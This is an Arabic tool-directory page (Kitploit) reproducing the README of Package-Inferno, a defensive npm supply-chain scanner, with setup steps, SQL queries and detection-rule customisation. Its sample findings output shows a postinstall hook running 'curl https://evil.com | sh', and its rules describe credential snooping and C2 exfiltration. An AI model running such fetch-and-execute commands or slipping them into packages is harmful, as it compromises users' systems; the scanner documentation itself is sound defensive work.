Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Package-Inferno — ماسح حزم عام للمجتمع | Kitploit
أدوات/GitHubGitHub/mhaggis/package-inferno
التحليل الثابتماسحات الثغرات الأمنيةأمن الحاوياتتحليل البرمجيات الخبيثةأمن السحابةDevSecOpsكشف الأسراراستخبارات التهديداتأمن سلسلة التوريد
GitHubmhaggis/package-inferno

Package-Inferno

ماسح حزم عام للمجتمع

133منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

PackageInferno

شعار PackageInferno

بسيط بشكل مذهل، ماسح سلسلة توريد npm يعتمد على Docker أولاً. ملف compose واحد يشغّل:

  • Enumerator → يبني قائمة انتظار الحزم
  • Fetcher → ينزّل الحزم المضغوطة (ويرفعها اختياريًا إلى S3)
  • Analyzer → تحليل ثابت + YARA اختياري
  • Postgres → قاعدة بيانات محلية للنتائج
  • لوحة Streamlit → تصور النتائج على http://localhost:8501

هذه هي النسخة المقتصرة على الحاويات فقط. يمكن بناء المشروع ليتم توسيعه باستخدام EC2 وSQS وRDS. معظم الإعدادات لذلك جاهزة في مجموعة الأدوات.


ما الذي ستحصل عليه

  • خط أنابيب متكامل في Docker (بدون تثبيتات على المضيف تتجاوز Docker)
  • قواعد قابلة للتكوين عبر scan.yml (قوائم السماح، العتبات، YARA)
  • مخطط Postgres محلي + سجل الفحص (scan_runs) جاهز للعمل
  • رفع اختياري إلى S3 للحزم المضغوطة والنتائج (البيانات الاعتمادية عبر ~/.aws)
  • لوحة Streamlit: البحث والتنقيب التفصيلي والتحليلات

المحتويات

  • docker-compose.yml – الخدمات: db, enumerator, fetcher, analyzer, dashboard, init-db
  • enumerator/ – عامل Node يبني قائمة انتظار NDJSON
  • fetcher/ – عامل Node ينزّل الحزم المضغوطة (+ يرفع إلى S3 إذا كان مفعلاً)
  • analyzer/ – محلل ثابت بلغة Python (+ YARA مضمّن اختياري)
  • dashboard/ – تطبيق Streamlit (المنفذ 8501)
  • infra/migrations.sql – مخطط قاعدة البيانات الأساسي (packages, versions, findings, scores, indexes)
  • infra/20251106_scan_runs.sql – جدول سجل الفحص
  • scan.yml – تكوين التحليل (القواعد، التقييم، قوائم السماح، YARA)
  • scripts/run_pipeline.sh – تشغيل enumerate → fetch → analyze
  • scripts/init_db.sh – تهيئة مخطط قاعدة البيانات
  • scripts/test_setup.sh – تحقق آلي من الإعداد
  • SCANNING_GUIDE.md – استراتيجيات وأمثلة تفصيلية للفحص

البدء السريع (محليًا)

المتطلبات: Docker Desktop (أو المحرك) مع Compose v2.

تثبيت بسطر واحد

root@kitploit:~
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash

يستنسخ هذا المستودع إلى ~/package-inferno ويعطيك تعليمات للبدء.

الخيار أ: استخدام الصور المبنية مسبقًا (الأسرع)

اسحب وشغّل الحاويات المبنية مسبقًا من GitHub Container Registry:

root@kitploit:~
# Clone the repo (for config files and scripts)
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno

# Run with pre-built images
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer

الصور المتاحة:

  • ghcr.io/mhaggis/package-inferno/enumerator:main
  • ghcr.io/mhaggis/package-inferno/fetcher:main
  • ghcr.io/mhaggis/package-inferno/analyzer:main

الخيار ب: البناء من المصدر

التحقق الآلي من الإعداد

شغّل سكربت الاختبار للتحقق من تثبيتك:

root@kitploit:~
./scripts/test_setup.sh

سيقوم هذا بما يلي:

  • ✓ التحقق من Docker وDocker Compose
  • ✓ تشغيل قاعدة البيانات وتهيئتها
  • ✓ إجراء فحص تجريبي (حزمتان)
  • ✓ التحقق من تخزين النتائج بشكل صحيح

الإعداد اليدوي

  1. تشغيل Postgres وتهيئة المخطط:
root@kitploit:~
docker compose up -d db
./scripts/init_db.sh
  1. تشغيل خط الأنابيب:
root@kitploit:~
./scripts/run_pipeline.sh
  1. تشغيل لوحة المعلومات:
root@kitploit:~
docker compose up -d dashboard
# open http://localhost:8501

تظهر النتائج في ./out/findings/*.findings.json وفي جدول findings عند تفعيل قاعدة البيانات.


أوضاع الفحص

يدعم PackageInferno استراتيجيات فحص متعددة حسب أهدافك:

1. فحص حزم محددة (موصى به للاختبار)

استهدف حزمًا محددة تريد تحليلها:

root@kitploit:~
# Single command with seeds
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh

# Or from a file
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh

كيف اختبرت في البداية: استخدمت SEEDS="is-odd,is-even" للتحقق السريع.

2. الفحص من سجل npm (_all_docs)

فحص الحزم بترقيم الصفحات من سجل npm:

root@kitploit:~
# Clean previous runs
rm -rf downloads/* out/*

# Scan 2 pages of 10 packages each (20 packages)
export MAX_CHUNKS=2        # Number of pages
export CHUNK_LIMIT=10      # Packages per page
unset SEEDS                # Important: disable seeds mode

# Run individual steps for better visibility
docker compose run --rm enumerator  # Discovers and queues
docker compose run --rm fetcher     # Downloads tarballs
docker compose run --rm analyzer    # Scans for threats

مثال على المخرجات:

root@kitploit:~
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)

3. المراقبة المستمرة (فحص غير محدود)

فحص سجل npm بالكامل:

root@kitploit:~
export MAX_CHUNKS=0        # 0 = unbounded
export CHUNK_LIMIT=100     # Larger batches for efficiency
./scripts/run_pipeline.sh

تحذير: سيستمر هذا لساعات/أيام ويفحص مئات الآلاف من الحزم. راقب مساحة القرص وحجم قاعدة البيانات.

4. استئناف الفحوصات المتقطعة

يحفظ الـ enumerator الحالة في ./out/enumerator_state.json مع موضع المؤشر:

root@kitploit:~
{
  "last_seq": "0",
  "last_startkey": "package-name",
  "last_run": "2025-11-23T19:24:49.123Z",
  "last_processed": 22,
  "last_new": 22
}

ببساطة أعد تشغيل خط الأنابيب وسيستأنف من آخر مؤشر:

root@kitploit:~
./scripts/run_pipeline.sh  # Automatically resumes

لفرض فحص جديد:

root@kitploit:~
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh

مثال على نتائج الفحص

من فحص من صفحتين لـ 22 حزمة، إليك ما اكتشفه PackageInferno:

root@kitploit:~
-- Top suspicious packages by score
SELECT p.name, s.score, s.label, COUNT(f.id) as findings 
FROM packages p 
JOIN versions v ON p.id = v.package_id 
JOIN scores s ON v.id = s.version_id 
LEFT JOIN findings f ON v.id = f.version_id 
GROUP BY p.name, s.score, s.label 
ORDER BY s.score DESC;

-- Results:
   name                | score | label      | findings
-----------------------+-------+------------+----------
 rendition             | 606   | malicious  | 153
 vs-deploy             | 454   | malicious  | 119
 --123hoodmane-pyodide | 213   | malicious  | 46

لماذا كانت rendition مشبوهة إلى هذا الحد؟

  • 57 × url_outside_allowlist - نطاقات غير مسموح بها
  • 46 × suspicious_pattern - أنماط shell/eval
  • 12 × advanced_obfuscation - ترميز hex وXOR ومصفوفات سلاسل
  • 6 × big_base64_blob - حمولات مشفّرة كبيرة
  • 18 × url_in_code - روابط مضمّنة

نظام التقييم (المكوَّن في scan.yml) يجمع هذه النتائج لإنتاج درجة خطر وتصنيف (clean أو suspicious أو malicious).


استكشاف النتائج

عبر لوحة المعلومات (موصى به)

افتح http://localhost:8501 بعد تشغيل docker compose up -d dashboard

الميزات:

  • 📊 تبويب النظرة العامة: إحصائيات ملخصة، مخططات توزيع الدرجات
  • 🔍 تبويب البحث: ابحث عن الحزم بالاسم، صفِّ حسب تصنيف الخطر
  • ⚠️ تبويب الخطر العالي: أفضل الحزم الخبيثة مع التنقيب التفصيلي
  • 🎯 تحليل C2: الحزم ذات نقاط نهاية استخراج البيانات المعروفة
  • 📈 تبويب التحليلات: الاتجاهات، القواعد الشائعة، التحليل الزمني

عبر استعلامات قاعدة البيانات

وصول SQL مباشر للتحليل المخصص:

root@kitploit:~
# Connect to database
docker exec -it pi-postgres psql -U piuser -d packageinferno

استعلامات مفيدة:

root@kitploit:~
-- Packages with credential theft attempts
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;

-- All C2/webhook destinations found
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';

-- Typosquatting attempts
SELECT 
  p.name,
  f.details->>'target_package' as impersonating,
  f.details->>'similarity' as similarity_pct,
  f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;

-- Packages with native binaries
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';

عبر ملفات JSON

تُحفظ النتائج أيضًا كـ JSON منظم في ./out/findings/:

root@kitploit:~
# View findings for a specific package
cat out/findings/[email protected] | jq .

# Count findings by severity
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c

# Extract all C2 URLs found
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json

اختياري: تكامل S3 (الحزم المضغوطة + النتائج)

إذا كنت تريد تخزين المخرجات في S3:

  • أنشئ الدلاء (اختر أسماءك الخاصة):
    • package-inferno-tarballs (حزم npm المضغوطة الخام)
    • package-inferno-findings (مخرجات المحلل)
  • تأكد من أن ~/.aws يحتوي على بيانات اعتماد صالحة (عبر ملف تعريف أو متغيرات بيئة).
  • صدِّر متغيرات البيئة قبل تشغيل خط الأنابيب:
root@kitploit:~
export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default   # optional; or rely on env creds

يقوم compose بتركيب ~/.aws في الـ fetcher والـ analyzer. إذا كان LOCAL_ONLY=false، يرفع الـ fetcher الحزم المضغوطة إلى S3_TARBALLS. إذا تم تعيين S3_FINDINGS، يرفع الـ analyzer نتائج JSON بعد كتابتها محليًا.

مثال على سياسة IAM دنيا (أرفقها بالمستخدم/الدور الذي تستخدمه):

root@kitploit:~
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "S3Access",
      "Effect": "Allow",
      "Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
      "Resource": [
        "arn:aws:s3:::package-inferno-tarballs",
        "arn:aws:s3:::package-inferno-tarballs/*",
        "arn:aws:s3:::package-inferno-findings",
        "arn:aws:s3:::package-inferno-findings/*"
      ]
    }
  ]
}

التكوين

خيارات الضبط الرئيسية موجودة في scan.yml. أبرزها:

  • analysis.allow_domains – النطاقات التي لن تُثير إنذار "خارج قائمة السماح"
  • analysis.allowlist.build_tools – تعبيرات regex لخطوات البناء غير الضارة
  • analysis.yara.* – تفعيل YARA المضمّن (مفعّل افتراضيًا)، مسار القواعد، حدود الحجم/الوقت
  • scoring.rule_weights و scoring.thresholds – ضبط تصنيف "مشبوه/خبيث"

متغيرات بيئة الحاويات التي يمكنك ضبطها:

  • Enumerator:
    • DAYS (الافتراضي 30)، CHUNK_LIMIT (الافتراضي 100)، MAX_CHUNKS (الافتراضي 5)
    • SEEDS، SEEDS_FILE – أسماء الحزم الأولية
    • LOCAL_ONLY=true (قائمة انتظار إلى ملف)، DB_URL لإزالة التكرار مقابل قاعدة البيانات
  • Fetcher:
    • LOCAL_ONLY=false لرفع الحزم المضغوطة إلى S3
    • S3_TARBALLS، AWS_REGION، AWS_PROFILE
  • Analyzer:
    • MAX_EXTRACT_BYTES=0 لاستخراج غير محدود
    • S3_FINDINGS،

رابط قاعدة البيانات مُعد مسبقًا لـ compose المحلي:

root@kitploit:~
postgres://piuser:pipass@db:5432/packageinferno

كيف يعمل (التدفق)

  1. يصل الـ Enumerator إلى سجل npm ويكتب قائمة انتظار NDJSON إلى ./out/fetch_queue.ndjson (ويمكنه إدراج/تحديث إصدارات "في قائمة الانتظار" في قاعدة البيانات).
  2. يقرأ الـ Fetcher قائمة الانتظار، وينزّل الحزم المضغوطة إلى ./downloads، ويرفعها إلى S3 إذا كان مكونًا.
  3. يفحص الـ Analyzer الحزم المضغوطة باستخدام قواعد استدلالية + YARA اختياري ويكتب نتائج JSON منظمة إلى ./out/findings. إذا كانت قاعدة البيانات مكونة، فإنه يُدرج/يحدّث النتائج والدرجات.
  4. تستعلم لوحة المعلومات من قاعدة البيانات المحلية لتصور الإحصاءات والبحث في الحزم والتنقيب في التفاصيل.

تفاصيل المكونات

Enumerator (enumerator/src/enumerator.js)

الغرض: يكتشف حزم npm التي سيتم فحصها ويبني قائمة انتظار العمل.

ما يفعله:

  • يسحب البيانات الوصفية للحزم من سجل npm وموجز النسخ المتماثل
  • يدعم أوضاعًا متعددة:
    • وضع البذور: فحص حزم محددة عبر متغير البيئة SEEDS أو SEEDS_FILE
    • موجز التغييرات: مراقبة نقطة نهاية _changes للتحديثات الأخيرة
    • الفحص الكامل: ترقيم الصفحات عبر نقطة نهاية _all_docs (مع مؤشر قابل للاستئناف)
  • يزيل التكرارات مقابل قاعدة البيانات لتجنب إعادة فحص الإصدارات التي تم تحليلها
  • يخرج قائمة انتظار NDJSON إلى ./out/fetch_queue.ndjson أو SQS

متغيرات البيئة الرئيسية:

  • SEEDS="pkg1,pkg2" - أسماء حزم مفصولة بفواصل للفحص
  • SEEDS_FILE - مسار ملف نصي يحتوي على حزمة واحدة في كل سطر
  • MAX_CHUNKS=5 - حد ترقيم الصفحات (0 = غير محدود)
  • CHUNK_LIMIT=100 - الحزم لكل صفحة API
  • DB_URL - اتصال Postgres لإزالة التكرار

مثال على الاستخدام:

root@kitploit:~
# Scan specific packages
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator

# Scan from file
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator

Fetcher (fetcher/src/fetcher.js)

الغرض: ينزّل حزم npm المضغوطة من السجل.

ما يفعله:

  • يقرأ قائمة الانتظار من ./out/fetch_queue.ndjson (أو SQS)
  • ينزّل الحزم المضغوطة مع منطق إعادة المحاولة والتراجع
  • يتحقق من مجاميع SHA1 (يحذر عند عدم التطابق)
  • يحفظ في ./downloads/ بالصيغة [email protected]
  • يرفع اختياريًا إلى دلو S3 (S3_TARBALLS)
  • يمرر المهام المكتملة إلى قائمة انتظار المحلل (وضع SQS)

متغيرات البيئة الرئيسية:

  • LOCAL_ONLY=true - تخطي رفعات S3 (وضع محلي فقط)
  • S3_TARBALLS - اسم دلو S3 لتخزين الحزم المضغوطة
  • DOWNLOAD_DIR=./downloads - دليل الإخراج المحلي
  • MAX_RETRIES=5 - محاولات إعادة HTTP

تنسيق مفتاح S3: npm-raw-tarballs/{name}/{version}.tgz


Analyzer (analyzer/src/analyzer.py)

الغرض: محرك تحليل ثابت يكتشف الأنماط الخبيثة في الحزم.

ما يفعله:

  • يستخرج الحزم المضغوطة مع فحوصات أمان (اجتياز المسار، حدود الحجم)
  • يحلل package.json للبيانات الوصفية وخطافات دورة الحياة
  • يفحص جميع الملفات بحثًا عن أنماط مشبوهة:
    • خطافات دورة الحياة: عمليات shell، أدوات تنزيل في سكربتات التثبيت
    • النشاط الشبكي: عملاء HTTP، خطافات ويب C2 (Discord وTelegram وغيرها)
    • التمويه: إنتروبيا عالية، كتل base64، ترميز hex، XOR
    • سرقة البيانات الاعتمادية: الوصول إلى متغيرات البيئة، كتابات نظام الملفات إلى مسارات حساسة
    • انتحال الأسماء (Typosquatting): مسافة ليفنشتاين + فحوصات استبدال يونيكود
    • التصيد: CAPTCHA مزيفة، نماذج بيانات اعتماد، تضمينات iframe
    • الثنائيات: ملفات تنفيذية أصلية، WASM، أدوات تنزيل مبنية مسبقًا
  • يشغّل قواعد YARA (التي يتم تنزيلها من YARA-Forge) إذا كانت مفعلة
  • يقيس النتائج باستخدام قواعد موزونة من scan.yml
  • يكتب JSON منظمًا إلى ./out/findings/ ويُدرج/يحدّث في قاعدة البيانات

قواعد الكشف (انظر analyzer/src/analyzer.py للقائمة الكاملة):

  • lifecycle_script - خطافات تثبيت/ما بعد التثبيت خطرة
  • url_outside_allowlist - استدعاءات شبكية لنطاقات غير مسموح بها
  • c2_webhook - نقاط نهاية استخراج معروفة (Discord وSlack وTelegram)
  • env_snoop - الوصول إلى مفاتيح AWS والرموز وكلمات المرور
  • writes_outside_pkg - كتابات نظام ملفات إلى .ssh و.npmrc وأدلة النظام
  • typosquat_detected - اسم حزمة مشابه لحزم شائعة
  • advanced_obfuscation - hex وXOR ومصفوفات سلاسل وتسطيح تدفق التحكم
  • yara_match - إصابات قواعد YARA (برمجيات خبيثة، استغلالات، ويب شيلات)
  • phishing_form - نماذج جمع بيانات الاعتماد
  • native_binary_present - ملفات تنفيذية PE/ELF/Mach-O

متغيرات البيئة الرئيسية:

  • MAX_EXTRACT_BYTES=0 - حد حجم الاستخراج (0 = غير محدود)
  • SCAN_YML=/app/scan.yml - مسار ملف التكوين
  • DB_URL - اتصال Postgres لتخزين النتائج
  • S3_FINDINGS - دلو S3 لرفع النتائج

تنسيق المخرجات (*.findings.json):

root@kitploit:~
{
  "tgz": "/downloads/[email protected]",
  "findings": [
    {
      "rule": "lifecycle_script",
      "severity": "high",
      "details": {
        "key": "postinstall",
        "value": "curl https://evil.com | sh",
        "tags": ["shell_spawn", "downloader"],
        "explanation": "High-risk postinstall hook: shell_spawn, downloader"
      }
    }
  ]
}

تخصيص المحلل

إضافة قواعد كشف جديدة

1. الكشف القائم على الأنماط (أضف إلى analyzer/src/analyzer.py):

root@kitploit:~
# Define regex pattern
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)

# Add to analyze_file_bytes() function
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
    # ... existing code ...
    
    # Your custom check
    if CUSTOM_PATTERN_RE.search(b):
        out.append({
            'rule': 'custom_dangerous_function',
            'severity': 'high',
            'details': {
                'path': str(path),
                'explanation': 'Detected dangerous-function call'
            }
        })
    
    return out

2. أضف أوزان التقييم (scan.yml):

root@kitploit:~
scoring:
  rule_weights:
    custom_dangerous_function: 6  # Your new rule
    # ... existing rules ...
  thresholds:
    suspicious: 7
    malicious: 12

3. حدّث دالة التقييم (analyzer/src/analyzer.py):

root@kitploit:~
def score_findings(findings, scoring):
    weights = scoring.get('rule_weights', {})
    score = 0
    for f in findings:
        rule = f['rule']
        w = 0
        # ... existing rules ...
        elif rule == 'custom_dangerous_function':
            w = weights.get('custom_dangerous_function', 6)
        score += int(w)
    # ... rest of function ...

إضافة قواعد YARA مخصصة

1. أنشئ ملف القواعد المخصصة (yara-rules/custom.yar):

root@kitploit:~
rule CustomMalware {
    meta:
        description = "Detects custom threat pattern"
        severity = "high"
    strings:
        $s1 = "malicious_string" ascii
        $s2 = /evil_regex_[0-9]{4}/
    condition:
        any of them
}

2. حدّث scan.yml:

root@kitploit:~
analysis:
  yara:
    enabled: true
    rules_path: yara-rules/custom.yar  # Point to your rules
    max_file_size_mb: 10
    timeout_seconds: 30

3. ثبّت القواعد المخصصة في docker-compose.yml:

root@kitploit:~
analyzer:
  volumes:
    - ./yara-rules:/app/yara-rules:ro

قائمة السماح للنطاقات

أضف النطاقات الموثوقة إلى scan.yml لتقليل النتائج الإيجابية الزائفة:

root@kitploit:~
analysis:
  allow_domains:
    - registry.npmjs.org
    - github.com
    - your-cdn.com  # Add your domain

أدوات البناء غير الضارة

اسمح بأوامر البناء المشروعة:

root@kitploit:~
analysis:
  allowlist:
    build_tools:
      - \bmy-custom-build-tool\b
      - \bmake\s+clean\b

استكشاف الأخطاء وإصلاحها

  • "فشل الاتصال بقاعدة البيانات": تأكد من أن docker compose up -d db يعمل، ثم أعد تشغيل ./scripts/init_db.sh.
  • "AccessDenied" عند الرفع إلى S3: تحقق من ~/.aws/credentials وAWS_REGION وسياسة/أذونات الدلو.
  • مهلات YARA: اخفض حدود حجم الملف أو عطّل YARA المضمّن في scan.yml (analysis.yara.enabled: false).
  • حدود المعدل من npm: يعيد خط الأنابيب المحاولة مع التراجع ويضبط UA؛ يمكنك خفض CHUNK_LIMIT أو زيادة MAX_CHUNKS تدريجيًا.
تنزيل الأداة
الوضعحالة الاستخدامالسرعةالتغطيةالأمر
بذور محددةاختبار/التحقيق في حزم معروفةالأسرعمستهدفةSEEDS="pkg1,pkg2"
دفعة صغيرةالتحقق من الإعداد، فحص عينةسريع10-100 حزمةMAX_CHUNKS=2 CHUNK_LIMIT=10
السجل الكاملتدقيق شامل لسلسلة التوريدساعات-أيام2M+ حزمةMAX_CHUNKS=0 CHUNK_LIMIT=100
موجز التغييراتمراقبة الإصدارات الجديدة (مشمول تلقائيًا)لحظيالتحديثات الأخيرةمدمج
AWS_REGION
  • DB_URL لكتابة النتائج والدرجات في Postgres